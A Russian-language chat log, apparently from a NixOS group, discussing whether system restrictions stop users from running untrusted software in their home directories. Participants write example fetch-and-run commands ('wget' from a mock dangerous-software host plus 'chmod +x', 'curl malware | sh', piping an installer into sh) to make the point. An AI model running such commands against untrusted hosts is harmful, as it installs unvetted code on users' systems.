АБ
Тогда пользователь всё равно может ставить хлам и вредоносное ПО себе в ~
Size: a a a
2021 April 15
АБ
wget https://trash-and-dangerous-software.io/software && chmod +x softwareN
или канонично
curl malware | sh
curl malware | sh
YM
2 всегда достаточно за исключением экзотики. Если с двоичным файлом в пакете идут библиотеки, то не мешает и их проверить (ldd ./result/lib/foo.so), иногда их тоже приходится патчить 🤷♂
АБ
например
curl -L https://nixos.org/nix/get | shАБ
Тогда пользователь не сможет залогиниться, боюсь
N
АБ
Тогда что мешает пользователю запускать вредоносные башскрипты?
АБ
Или запускать вредоносные бинари напрямую с помощью
ld-linux.so.2N
А к чему тут это?
АБ
Никак не связано. su и sudo -- возможность пользователю стать рутом.
АБ
А чем сейчас пользуешься и что делаешь чтобы это предотвратить?
АБ
Если тебе нужно начальству отчитаться, то сделай
allowed-users = root в nix.conf и всёАБ
Это запретит пользователям использовать писать в
/nix/store, аналогично стандартным настройкам в генте.